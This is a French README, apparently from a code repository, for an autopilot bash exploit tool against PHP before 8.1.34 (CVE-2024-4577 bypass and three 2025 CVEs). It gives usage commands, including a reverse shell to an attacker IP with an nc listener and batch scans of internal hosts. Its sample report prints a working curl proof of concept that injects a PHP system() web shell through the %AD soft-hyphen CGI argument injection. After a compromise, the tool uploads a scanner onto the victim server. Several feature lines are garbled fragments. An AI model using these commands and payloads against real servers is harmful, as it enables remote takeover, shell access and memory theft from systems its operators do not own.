
Détection automatisée & exploitation de vulnérabilités PHP critiques (CVE-2024-4577 contournement, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
Détection et exploitation automatisées des vulnérabilités PHP critiques (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh est un outil d'évaluation de sécurité monofichier, sans configuration, qui découvre automatiquement les points de terminaison PHP vulnérables et exploite quatre CVE à fort impact affectant les versions de PHP antérieures à 8.1.34 (publié en décembre 2024). Il ne nécessite aucune conception manuelle de charge utile – fournissez simplement une URL et le script fait le reste, du crawling à l'exécution de code à distance. Entièrement autopilote – détecte et exploite automatiquement sans intervention de l'utilisateur.
-d et contournement par trait d'union doux %AD.getimagesize()
array_merge.parallel si disponible, sinon bascule gracieusement.| Dépendance | Objectif | Généralement installé ? |
|---|---|---|
bash 4.0+ | Interpréteur de script | Oui (Linux/macOS) |
curl | Requêtes HTTP | Oui |
grep, sed, awk | Traitement de texte | Oui |
mktemp | Création de fichier temporaire | Oui |
(optionnel) parallel | Analyse par lots plus rapide | Non (mais recommandé) |
(optionnel) jq | Formatage de sortie JSON | Non |
Aucun privilège root requis – l'outil envoie uniquement des requêtes HTTP et exécute éventuellement un reverse shell (nécessite un écouteur sur votre machine).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
Cible unique (cas le plus courant)
./PHP8.1.x_Exploit.sh -u http://cible.example.com
Cible unique avec reverse shell (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://serveur-windows-vulnerable.local/ --revshell 192.168.1.100 4444
Puis sur votre machine :
nc -lvnp 4444
Analyse par lots de plusieurs cibles
./PHP8.1.x_Exploit.sh -l cibles.txt --threads 10
Exemple cibles.txt :
http://192.168.1.1/
https://10.0.0.5:8080/
http://app-interne.entreprise.com
Mode analyse uniquement (pas de tentative d'exploitation)
./PHP8.1.x_Exploit.sh -u http://cible.com/ --scan-only
Enregistrer le rapport dans un fichier
./PHP8.1.x_Exploit.sh -u http://cible.com/ -o resultats.txt
Sortie verbeuse / débogage
./PHP8.1.x_Exploit.sh -u http://cible.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://cible.com/ --debug # très bavard
| Phase | Action |
|---|---|
| 1 | Identification – OS et version PHP à partir des en-têtes et sondes. |
| 2 | Crawling – extrait les attributs href et action de la page d'accueil. |
| 3 | Découverte CGI – essaie les chemins courants et les liens crawlés qui ressemblent à du CGI. |
| 4 | Test CVE‑2024‑4577 – injecte les charges utiles -d et %AD ; en cas de succès, exécute des commandes ou envoie un reverse shell. |
| 5 | Découverte de point de terminaison de téléchargement – vérifie les chemins de téléchargement courants et tout formulaire contenant "upload"/"image". |
| 6 | Test CVE‑2025‑14177 – crée un JPEG malformé, le POST sur chaque point de terminaison de téléchargement, détecte les fuites tas. |
| 7 | Analyse interne approfondie – si une RCE est obtenue, télécharge un script PHP scanner et l'exécute pour tester CVE‑2025‑14180 / CVE‑2025‑14178. |
| 8 | Rapport – affiche un résumé et écrit éventuellement dans un fichier. |
| Option | Description |
|---|---|
-u URL | URL de la cible unique (ex. http://example.com/) |
-l FICHIER | Fichier par lots avec une URL par ligne |
--scan-only | Détecter uniquement – ne pas exploiter (pas de reverse shell, pas de téléchargement de charge utile) |
-o FICHIER | Écrire le rapport final dans FICHIER |
--threads N | Nombre de threads parallèles pour l'analyse par lots (défaut : 5) |
--timeout N | Timeout HTTP en secondes (défaut : 10) |
--no-color | Désactiver la sortie colorée |
--verbose | Afficher la progression détaillée |
--debug | Afficher chaque requête HTTP (peut exposer des données sensibles) |
--revshell IP PORT | Tenter un reverse shell lorsque CVE‑2024‑4577 est trouvée |
-h, --help | Afficher l'aide et quitter |
| CVE | Sévérité | Impact | Vecteur d'exploitation | Corrigé dans |
|---|---|---|---|---|
| CVE‑2024‑4577 (bypass) | Critique | RCE | Injection d'arguments CGI Windows (mappage trait d'union doux) | PHP 8.1.34 |
| CVE‑2025‑14177 | Moyen/Élevé | Fuite d'informations (mémoire tas) | JPEG malformé passé à getimagesize() | PHP 8.1.34 |
| CVE‑2025‑14180 | Élevé | DoS (déréférencement NULL) | PDO PostgreSQL avec prepares émulés + paramètre malformé \x99 | PHP 8.1.34 |
| CVE‑2025‑14178 | Élevé (8.2) | DoS / corruption mémoire potentielle | array_merge() avec de grands tableaux provoquant un débordement d'entier | PHP 8.1.34 |
Remarque : CVE‑2025‑14180 et CVE‑2025‑14178 ne peuvent être détectées avec précision que depuis l'intérieur du serveur (tests locaux). Le script y parvient en téléchargeant un scanner après une exploitation CGI réussie.
[*] Scan de : http://192.168.1.100/
[*] OS : windows
[*] Version PHP : 8.1.33
[*] Test de CVE-2024-4577 sur http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577 : VULNÉRABLE (injection par trait d'union doux)
[*] Tentative de reverse shell vers 192.168.1.5 4444
...
[*] Test de CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177 : Fuite tas potentielle détectée !
...
[*] Exécution d'un scan local approfondi via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180 : VULNÉRABLE
CVE-2025-14178 : VULNÉRABLE
CVE-2025-14177 : VULNÉRABLE (fuite : 486561704c65616b21...)
===================== Rapport pour http://192.168.1.100/ =====================
OS : windows
PHP : 8.1.33
CVE-2024-4577 : EXPLOITABLE sur http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC : curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177 : VULNÉRABLE
CVE-2025-14180/14178 : VULNÉRABLE (voir sortie du scan approfondi)
==============================================================
--revshell ouvre un socket de la cible vers votre machine. Assurez-vous d'avoir le droit de vous reconnecter.| Problème | Solution |
|---|---|
curl: command not found | Installez curl |
GNU parallel not found | Ignoré – le script fonctionne sans (analyses par lots plus lentes) |
| Aucun point de terminaison CGI trouvé | La cible n'utilise peut-être pas CGI, ou est derrière un WAF qui bloque les drapeaux -d |
| CVE-2024-4577 fonctionne mais le reverse shell échoue | Vérifiez le pare-feu ; essayez une charge utile plus simple avec --scan-only et un écouteur nc manuel |
| Le test de fuite d'image retourne toujours "Pas de fuite" | Le point de terminaison de téléchargement n'utilise peut-être pas getimagesize(), ou nettoie les données binaires |
| Le téléchargement du scanner local échoue | La racine web n'est peut-être pas accessible en écriture ; le script tente d'écrire dans le même répertoire que le script CGI |
Les pull requests, rapports de bogues et suggestions de fonctionnalités sont les bienvenus. Veuillez suivre :
parallel.GNU General Public License v3.0 – voir le fichier LICENSE.
Fabriqué avec 🧠 pour la communauté de la sécurité. Utilisez de manière éthique.